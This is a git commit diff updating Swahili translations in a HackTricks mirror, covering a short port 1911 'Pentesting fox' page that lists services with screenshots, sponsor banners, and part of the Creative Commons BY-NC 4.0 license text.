mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md
This commit is contained in:
Translator
parent
7e3b7be992
commit
a62c5cbc8c
94 changed files with 3101 additions and 3313 deletions
|
|
@ -1,22 +1,23 @@
|
|||
# 1911 - Pentesting fox
|
||||
# 1911 - Fox ya Pentesting
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Na huduma zaidi:
|
||||
|
||||
ubiquiti-discover udp "Kifaa cha Ubiquiti Networks"
|
||||
ubiquiti-discover udp "Kifaa cha Mitandao ya Ubiquiti"
|
||||
|
||||
dht udp "DHT Nodes"
|
||||
|
||||
|
|
@ -24,4 +25,31 @@ dht udp "DHT Nodes"
|
|||
|
||||
.png>)
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (
|
||||
 (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
|
||||
|
||||
InfluxDB
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,30 +1,14 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
187
LICENSE.md
187
LICENSE.md
|
|
@ -1,147 +1,194 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Leseni ya Creative Commons" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>Haki miliki © Carlos Polop 2021. Isipokuwa pale inapobainishwa vinginevyo (habari za nje zilizochukuliwa kutoka kwenye kitabu zinamilikiwa na waandishi halisi), maandishi kwenye <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a> na Carlos Polop yamepewa leseni chini ya <a href="https://creativecommons.org/licenses/by-nc/4.0/">Leseni ya Kimataifa ya Creative Commons Attribution-NonCommercial 4.0 (CC BY-NC 4.0)</a>.
|
||||
<a rel="license" href="https://creativecommons.org/licenses/by-nc/4.0/"><img alt="Leseni ya Creative Commons" style="border-width:0" src="https://licensebuttons.net/l/by-nc/4.0/88x31.png" /></a><br>Haki miliki © Carlos Polop 2021. Isipokuwa pale inapobainishwa vinginevyo (habari za nje zilizochapishwa kwenye kitabu zinamilikiwa na waandishi wa asili), maandishi kwenye <a href="https://github.com/carlospolop/hacktricks">HACK TRICKS</a> na Carlos Polop yameidhinishwa chini ya <a href="https://creativecommons.org/licenses/by-nc/4.0/">Leseni ya Creative Commons Attribution-NonCommercial 4.0 Kimataifa (CC BY-NC 4.0)</a>.
|
||||
|
||||
Leseni: Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)<br>
|
||||
Leseni Inayoweza Kusomwa na Binadamu: https://creativecommons.org/licenses/by-nc/4.0/<br>
|
||||
Masharti Kamili ya Kisheria: https://creativecommons.org/licenses/by-nc/4.0/legalcode<br>
|
||||
Umbo: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown<br>
|
||||
Leseni: Attribution-NonCommercial 4.0 Kimataifa (CC BY-NC 4.0)<br>Leseni Inayoweza Kusomwa na Binadamu: https://creativecommons.org/licenses/by-nc/4.0/<br>Vigezo vya Kisheria Kamili: https://creativecommons.org/licenses/by-nc/4.0/legalcode<br>Uumbaji: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown<br>
|
||||
|
||||
# creative commons
|
||||
|
||||
# Attribution-NonCommercial 4.0 International
|
||||
# Attribution-NonCommercial 4.0 Kimataifa
|
||||
|
||||
Kampuni ya Creative Commons ("Creative Commons") sio kampuni ya sheria na haitoi huduma za kisheria au ushauri wa kisheria. Usambazaji wa leseni za umma za Creative Commons hautengenezi uhusiano wa mwanasheria-mteja au uhusiano mwingine wowote. Creative Commons inaweka leseni zake za umma na habari zinazohusiana zinapatikana "kama ilivyo". Creative Commons haitoi dhamana yoyote kuhusu leseni zake, vifaa vyovyote vilivyopewa leseni chini ya masharti na hali zake, au habari yoyote inayohusiana. Creative Commons inakataa dhima yote kwa uharibifu unaotokana na matumizi yao kwa kiwango kikubwa kinachowezekana.
|
||||
Kampuni ya Creative Commons ("Creative Commons") sio kampuni ya sheria na haitoi huduma za kisheria au ushauri wa kisheria. Usambazaji wa leseni za umma za Creative Commons hauzalishi uhusiano wa mwanasheria-mteja au uhusiano mwingine. Creative Commons inaweka leseni zake za umma na habari zinazohusiana inapatikana "kama ilivyo". Creative Commons haitoi dhamana yoyote kuhusu leseni zake, vifaa vyovyote vilivyoidhinishwa chini ya masharti yake na habari zinazohusiana. Creative Commons inakanusha dhima yote kwa uharibifu unaotokana na matumizi yao kwa kiwango kikubwa kinachowezekana.
|
||||
|
||||
## Kutumia Leseni za Umma za Creative Commons
|
||||
|
||||
Leseni za umma za Creative Commons zinatoa seti ya kawaida ya masharti na hali ambazo waundaji na wamiliki wengine wa haki wanaweza kutumia kushiriki kazi za awali za ubunifu na vifaa vingine chini ya hakimiliki na haki fulani zingine zilizotajwa katika leseni ya umma hapo chini. Mambo yafuatayo ni kwa madhumuni ya habari tu, hayajakamilika, na hayafanyi sehemu ya leseni zetu.
|
||||
Leseni za umma za Creative Commons hutoa seti ya kawaida ya vigezo na masharti ambayo waumbaji na wamiliki wengine wa haki wanaweza kutumia kushiriki kazi za awali za ubunifu na vifaa vingine vilivyo chini ya hakimiliki na haki fulani zilizotajwa katika leseni ya umma hapa chini. Mambo yafuatayo ni kwa madhumuni ya habari tu, si ya kina, na hayajaingizwa katika leseni zetu.
|
||||
|
||||
* __Mambo ya kuzingatia kwa watoa leseni:__ Leseni zetu za umma zinalenga kutumiwa na wale walioruhusiwa kutoa idhini ya umma kutumia vifaa kwa njia ambazo kwa kawaida zinazuiliwa na hakimiliki na haki fulani zingine. Leseni zetu hazirejeshwi. Watoa leseni wanapaswa kusoma na kuelewa masharti na hali ya leseni wanayochagua kabla ya kuitumia. Watoa leseni pia wanapaswa kupata haki zote muhimu kabla ya kutumia leseni zetu ili umma uweze kutumia tena vifaa kama ilivyotarajiwa. Watoa leseni wanapaswa kuweka wazi vifaa vyovyote visivyo chini ya leseni. Hii ni pamoja na vifaa vingine vilivyopewa leseni ya CC, au vifaa vilivyotumiwa chini ya ubaguzi au kizuizi cha hakimiliki. [Mambo zaidi ya kuzingatia kwa watoa leseni](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
|
||||
* __Mambo ya kuzingatia kwa watoa leseni:__ Leseni zetu za umma zinalenga kutumiwa na wale walioruhusiwa kutoa idhini ya umma kutumia vifaa kwa njia ambazo kwa kawaida zimezuiliwa na hakimiliki na haki fulani zingine. Leseni zetu hazirejeshwi. Watoa leseni wanapaswa kusoma na kuelewa vigezo na masharti ya leseni wanayochagua kabla ya kuomba. Watoa leseni wanapaswa pia kuhakikisha wanapata haki zote muhimu kabla ya kutumia leseni zetu ili umma uweze kutumia tena vifaa kama ilivyotarajiwa. Watoa leseni wanapaswa kufafanua wazi vifaa vyovyote visivyo chini ya leseni. Hii ni pamoja na vifaa vingine vilivyoidhinishwa na CC, au vifaa vilivyotumika chini ya ubaguzi au kizuizi cha hakimiliki. [Mambo zaidi ya kuzingatia kwa watoa leseni](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
|
||||
|
||||
* __Mambo ya kuzingatia kwa umma:__ Kwa kutumia moja ya leseni zetu za umma, mtoa leseni anaruhusu umma kutumia vifaa vilivyopewa leseni kulingana na masharti na hali zilizotajwa. Ikiwa idhini ya mtoa leseni haihitajiki kwa sababu yoyote - kwa mfano, kwa sababu ya ubaguzi au kizuizi chochote cha hakimiliki - basi matumizi hayo hayasimamiwi na leseni. Leseni zetu zinaruhusu tu idhini chini ya hakimiliki na haki fulani zingine ambazo mtoa leseni ana mamlaka ya kutoa. Matumizi ya vifaa vilivyopewa leseni yanaweza kuwa na vizuizi vingine kwa sababu nyingine, ikiwa ni pamoja na kwa sababu wengine wana hakimiliki au haki nyingine kwenye vifaa. Mtoa leseni anaweza kuomba maombi maalum, kama vile kuomba mabadiliko yote yatambuliwe au kuelezewa. Ingawa sio lazima kwa leseni zetu, unahimizwa kuheshimu maombi hayo kwa kiwango kinachofaa. [Mambo zaidi ya kuzingatia kwa umma](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
|
||||
* __Mambo ya kuzingatia kwa umma:__ Kwa kutumia moja ya leseni zetu za umma, mtoa leseni anaruhusu umma kutumia vifaa vilivyoidhinishwa chini ya vigezo na masharti maalum. Ikiwa idhini ya mtoa leseni sio muhimu kwa sababu yoyote–kwa mfano, kutokana na ubaguzi au kizuizi chochote kinachotumika kwa hakimiliki–basi matumizi hayo hayasimamiwi na leseni. Leseni zetu zinaruhusu idhini tu chini ya hakimiliki na haki fulani zingine ambazo mtoa leseni ana mamlaka ya kutoa. Matumizi ya vifaa vilivyoidhinishwa vinaweza bado kuwa na vikwazo kwa sababu nyingine, ikiwa ni pamoja na kwa sababu wengine wanamiliki hakimiliki au haki nyingine katika vifaa. Mtoa leseni anaweza kuomba maombi maalum, kama vile kuomba kwamba mabadiliko yote yatambuliwe au yaelezwe. Ingawa si lazima kwa leseni zetu, unahimizwa kuheshimu maombi hayo kwa kadri inavyowezekana. [Mambo zaidi ya kuzingatia kwa umma](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
|
||||
|
||||
# Creative Commons Attribution-NonCommercial 4.0 International Public License
|
||||
# Creative Commons Attribution-NonCommercial 4.0 Kimataifa Leseni ya Umma
|
||||
|
||||
Kwa kutumia Haki Zilizopewa Leseni (zilizoelezewa hapa chini), Unakubali na kukubaliana kufungwa na masharti na hali ya Leseni ya Umma ya Creative Commons Attribution-NonCommercial 4.0 International ("Leseni ya Umma"). Kwa kiwango ambacho Leseni hii ya Umma inaweza kufasiriwa kama mkataba, Unapewa Haki Zilizopewa Leseni kwa kuzingatia kukubali kwako masharti na hali hizi, na Mtoa Leseni anakupa haki hizo kwa kuzingatia faida ambazo Mtoa Leseni anapokea kwa kufanya Vifaa Vilivyopewa Leseni kupatikana chini ya masharti na hali hizi.
|
||||
Kwa kutumia Haki zilizoidhinishwa (zilizoainishwa hapa chini), Unakubali na kukubaliana kufungwa na vigezo na masharti ya Leseni ya Umma ya Creative Commons Attribution-NonCommercial 4.0 Kimataifa ("Leseni ya Umma"). Kwa kiwango ambacho Leseni hii ya Umma inaweza kufasiriwa kama mkataba, Unapewa Haki zilizoidhinishwa kwa kuzingatia kukubali kwako vigezo na masharti haya, na Mtoaji leseni anakupa haki hizo kwa kuzingatia faida anazopata Mtoaji leseni kutokana na kufanya Vifaa vilivyoidhinishwa kupatikana chini ya vigezo na masharti haya.
|
||||
|
||||
## Sehemu 1 - Ufafanuzi.
|
||||
## Sehemu 1 – Maelezo.
|
||||
|
||||
a. __Vifaa Vilivyobadilishwa__ inamaanisha vifaa vinavyofungwa na Hakimiliki na Haki Zinazofanana ambavyo vimepatikana kutoka kwa au kulingana na Vifaa Vilivyopewa Leseni na ambavyo Vifaa Vilivyopewa Leseni
|
||||
## Sehemu 2 - Wigo.
|
||||
a. __Vifaa Vilivyobadilishwa__ inamaanisha vifaa vinavyofuata Hakimiliki na Haki Zinazofanana ambavyo vinatokana na au vimejengwa kulingana na Vifaa Vilivyoidhinishwa na ambavyo Vifaa Vilivyoidhinishwa vimebadilishwa, kubadilishwa, kusawazishwa, kubadilishwa vingine, au kubadilishwa vinginevyo kwa njia inayohitaji idhini chini ya Hakimiliki na Haki Zinazofanana zilizoshikiliwa na Mtoaji leseni. Kwa madhumuni ya Leseni hii ya Umma, ambapo Vifaa Vilivyoidhinishwa ni kazi ya muziki, utendaji, au rekodi ya sauti, Vifaa Vilivyobadilishwa daima vinazalishwa ambapo Vifaa Vilivyoidhinishwa vinahusishwa kwa wakati na picha inayosonga.
|
||||
|
||||
a. ___Ruhusa ya leseni.___
|
||||
b. __Leseni ya Mbadala__ inamaanisha leseni Unayotumia kwa Hakimiliki yako na Haki Zinazofanana katika michango yako kwa Vifaa Vilivyobadilishwa kulingana na vigezo na masharti ya Leseni hii ya Umma.
|
||||
|
||||
1. Kulingana na masharti na hali ya Leseni ya Umma hii, Mwenye Leseni anakupa leseni ya ulimwengu mzima, isiyo na malipo, isiyoweza kusubiriwa, isiyo ya kipekee, isiyoweza kusubiriwa ya kutekeleza Haki za Leseni kwenye Nyenzo zilizopewa leseni ili:
|
||||
c. __Hakimiliki na Haki Zinazofanana__ inamaanisha hakimiliki na/au haki zinazohusiana kwa karibu na hakimiliki ikiwa ni pamoja na, bila kikomo, utendaji, matangazo, rekodi za sauti, na Haki za Mfumo wa Hifadhidata wa Sui Generis, bila kujali jinsi haki hizo zinavyoitwa au kugawanywa. Kwa madhumuni ya Leseni hii ya Umma, haki zilizotajwa katika Sehemu 2(b)(1)-(2) sio Hakimiliki na Haki Zinazofanana.
|
||||
|
||||
A. kuzaliana na Kushiriki Nyenzo zilizopewa leseni, kwa sehemu au kwa ujumla, kwa madhumuni ya kibiashara tu; na
|
||||
d. __Hatua za Kiteknolojia Zilizofanikiwa__ inamaanisha hatua hizo ambazo, bila mamlaka sahihi, hazipaswi kuzungukwa chini ya sheria zinazotimiza majukumu chini ya Ibara 11 ya Mkataba wa Hakimiliki wa WIPO uliochukuliwa Desemba 20, 1996, na/au mikataba ya kimataifa inayofanana.
|
||||
|
||||
B. kuzalisha, kuzaliana, na Kushiriki Nyenzo Zilizobadilishwa kwa madhumuni ya kibiashara tu.
|
||||
e. __Makatazo na Vizuizi__ inamaanisha matumizi ya haki, kufanya kazi kwa haki, na/au kizuizi kingine chochote au kikomo kwa Hakimiliki na Haki Zinazofanana ambazo zinatumika kwa matumizi yako ya Vifaa Vilivyoidhinishwa.
|
||||
|
||||
2. __Makatazo na Kikomo.__ Kwa kuepuka shaka, ambapo Makatazo na Kikomo yanatumika kwa matumizi yako, Leseni ya Umma hii haihusiki, na hauhitaji kuzingatia masharti na hali zake.
|
||||
f. __Vifaa Vilivyoidhinishwa__ inamaanisha kazi ya sanaa au fasihi, hifadhidata, au vifaa vingine ambavyo Mtoaji leseni ameomba Leseni hii ya Umma.
|
||||
|
||||
3. __Muda.__ Muda wa Leseni ya Umma hii umeelezwa katika Sehemu 6(a).
|
||||
g. __Haki Zilizoidhinishwa__ inamaanisha haki zilizokubaliwa kwako kulingana na vigezo na masharti ya Leseni hii ya Umma, ambayo zinahusika na Hakimiliki na Haki Zinazofanana zote zinazohusika na matumizi yako ya Vifaa Vilivyoidhinishwa na ambazo Mtoaji leseni ana mamlaka ya kutoa leseni.
|
||||
|
||||
4. __Vyombo vya habari na muundo; marekebisho ya kiufundi yanaruhusiwa.__ Mwenye Leseni anakuruhusu kutekeleza Haki za Leseni katika vyombo vya habari na muundo wowote, iwe inajulikana sasa au baadaye, na kufanya marekebisho ya kiufundi yanayohitajika kufanya hivyo. Mwenye Leseni anasamehe na/au anakubaliana kutokutoa haki au mamlaka yoyote ya kukataza wewe kufanya marekebisho ya kiufundi yanayohitajika kutekeleza Haki za Leseni, ikiwa ni pamoja na marekebisho ya kiufundi yanayohitajika kuzunguka Hatua za Teknolojia Zinazofaa. Kwa madhumuni ya Leseni ya Umma hii, kufanya tu marekebisho yaliyoruhusiwa na Sehemu hii 2(a)(4) kamwe haitazalisha Nyenzo Zilizobadilishwa.
|
||||
h. __Mtoaji leseni__ inamaanisha mtu au watu binafsi au taasisi zinazotoa haki chini ya Leseni hii ya Umma.
|
||||
|
||||
5. __Wapokeaji wa chini.__
|
||||
i. __Si ya Kibiashara__ inamaanisha si kwa kusudi kuu la au kuelekezwa kuelekea faida ya kibiashara au fidia ya pesa. Kwa madhumuni ya Leseni hii ya Umma, kubadilishana kwa Vifaa Vilivyoidhinishwa kwa vifaa vingine vilivyofungwa na Hakimiliki na Haki Zinazofanana kwa njia ya kugawizana faili za dijiti au njia zinazofanana ni Si ya Kibiashara ikiwa hakuna malipo ya fidia ya pesa yanayohusiana na kubadilishana.
|
||||
|
||||
A. __Mwaliko kutoka kwa Mwenye Leseni - Nyenzo Zilizopewa Leseni.__ Kila mpokeaji wa Nyenzo Zilizopewa Leseni anapokea moja kwa moja mwaliko kutoka kwa Mwenye Leseni kutekeleza Haki za Leseni chini ya masharti na hali za Leseni ya Umma hii.
|
||||
j. __Kushiriki__ inamaanisha kutoa vifaa kwa umma kwa njia au mchakato wowote unaohitaji idhini chini ya Haki Zilizoidhinishwa, kama vile kunakili, kuonyesha hadharani, kutoa hadharani, kusambaza, kusambaza, kuwasilisha, au kuingiza, na kufanya vifaa kupatikana kwa umma ikiwa ni pamoja na njia ambazo wanachama wa umma wanaweza kupata vifaa kutoka mahali na wakati waliochagua kibinafsi.
|
||||
|
||||
B. __Hakuna vizuizi vya chini.__ Huwezi kutoa au kuweka masharti au hali yoyote ya ziada au tofauti kwenye Nyenzo Zilizopewa Leseni, au kutumia Hatua za Teknolojia Zinazofaa kwenye Nyenzo Zilizopewa Leseni ikiwa kufanya hivyo kunazuia utekelezaji wa Haki za Leseni na mpokeaji yeyote wa Nyenzo Zilizopewa Leseni.
|
||||
k. __Haki za Mfumo wa Hifadhidata wa Sui Generis__ inamaanisha haki zingine isipokuwa hakimiliki zinazotokana na Maelekezo 96/9/EC ya Bunge la Ulaya na Baraza la Machi 11, 1996 kuhusu ulinzi wa kisheria wa hifadhidata, kama ilivyofanyiwa marekebisho na/au kufanikiwa, pamoja na haki zingine zinazolingana kimsingi popote duniani.
|
||||
|
||||
6. __Hakuna uthibitisho.__ Hakuna kitu katika Leseni ya Umma hii kinachounda au kinaweza kufasiriwa kama idhini ya kudai au kudokeza kuwa wewe ni, au kwamba matumizi yako ya Nyenzo Zilizopewa Leseni yana uhusiano na, au yanadhaminiwa, yanakubaliwa, au yanapewa hadhi rasmi na, Mwenye Leseni au wengine walioteuliwa kupokea sifa kama ilivyotolewa katika Sehemu 3(a)(1)(A)(i).
|
||||
l. __Wewe__ inamaanisha mtu binafsi au taasisi inayotumia Haki Zilizoidhinishwa chini ya Leseni hii ya Umma. "Yako" ina maana inayolingana.
|
||||
## Sehemu 2 - Upeo.
|
||||
|
||||
b. ___Haki nyingine.___
|
||||
a. ___Ruzuku ya Leseni.___
|
||||
|
||||
